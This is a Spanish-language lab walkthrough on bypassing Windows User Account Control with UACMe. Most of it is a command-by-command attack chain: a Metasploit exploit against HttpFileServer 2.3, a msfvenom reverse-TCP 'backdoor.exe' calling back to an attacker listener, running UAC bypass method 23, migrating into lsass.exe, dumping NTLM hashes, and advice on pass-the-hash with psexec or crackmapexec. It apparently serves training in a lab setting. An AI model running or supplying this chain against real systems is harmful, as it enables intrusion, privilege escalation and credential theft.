🛡 UAC: el mecanismo de protección de Windows
UAC (User Account Control) es una caracterÃstica de seguridad de Windows Vista en adelante que solicita confirmación (o credenciales de administrador) antes de ejecutar acciones que requieren privilegios elevados. Incluso los usuarios del grupo Administrators operan con token restringido hasta que confirman la elevación.
UACMe es una herramienta pública que implementa más de 60 métodos distintos para evadir UAC, muchos de ellos usando binarios legÃtimos de Windows marcados como AutoElevate que no muestran el cuadro de diálogo.
¿Cómo funciona AutoElevate?
Algunos ejecutables de Windows tienen el flag autoElevate: true en su manifiesto. El SO los eleva automáticamente sin preguntar. UACMe abusa de este comportamiento para cargar código arbitrario con privilegios elevados.
🔧 Comandos del laboratorio
1. Reconocimiento
cat /root/Desktop/target
nmap <IP>
nmap -sV -p 80 <IP>
# HttpFileServer 2.3
2. Explotación inicial (HFS 2.3 → Meterpreter)
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS <IP>
exploit
3. Verificar privilegios y sistema
getuid
# VICTIM\admin
sysinfo
4. Migrar a proceso estable
ps -S explorer.exe
migrate <PID>
5. Comprobar que UAC bloquea la elevación
getsystem
# Error: operación bloqueada por UAC
shell
net localgroup administrators
# admin está en el grupo pero sin token elevado
6. Generar payload y subir archivos
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_atacante> LPORT=4444 -f exe > backdoor.exe
upload Akagi64.exe C:\\Users\\admin\\AppData\\Local\\Temp\\
upload backdoor.exe C:\\Users\\admin\\AppData\\Local\\Temp\\
7. Configurar listener para la conexión elevada
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
set LPORT 4444
exploit
8. Ejecutar el bypass UAC (método 23)
Akagi64.exe 23 C:\\Users\\admin\\AppData\\Local\\Temp\\backdoor.exe
9. Post-explotación: SYSTEM y hashdump
getsystem
# Ahora sà -> NT AUTHORITY\SYSTEM
ps -S lsass.exe
migrate <PID_lsass>
hashdump
# Extrae hashes NTLM de todos los usuarios
🗼 Flujo del ataque
getsystem falla → UAC activo.getsystem + migrar a lsass.exe.🎯 ¿Qué buscar? — Indicadores de éxito
- Usuario en grupo Administrators pero
getsystemfalla → UAC activo, candidato a bypass. - Elegir el método de UACMe según la versión de Windows (Akagi64.exe --list para ver opciones).
- Migrar a
lsass.exedespués de escalar para garantizar estabilidad y acceso a credenciales. hashdumpsólo funciona con privilegios SYSTEM o Administrator elevado.- Los hashes NTLM obtenidos permiten Pass-the-Hash con
psexecocrackmapexecsin crackearlos.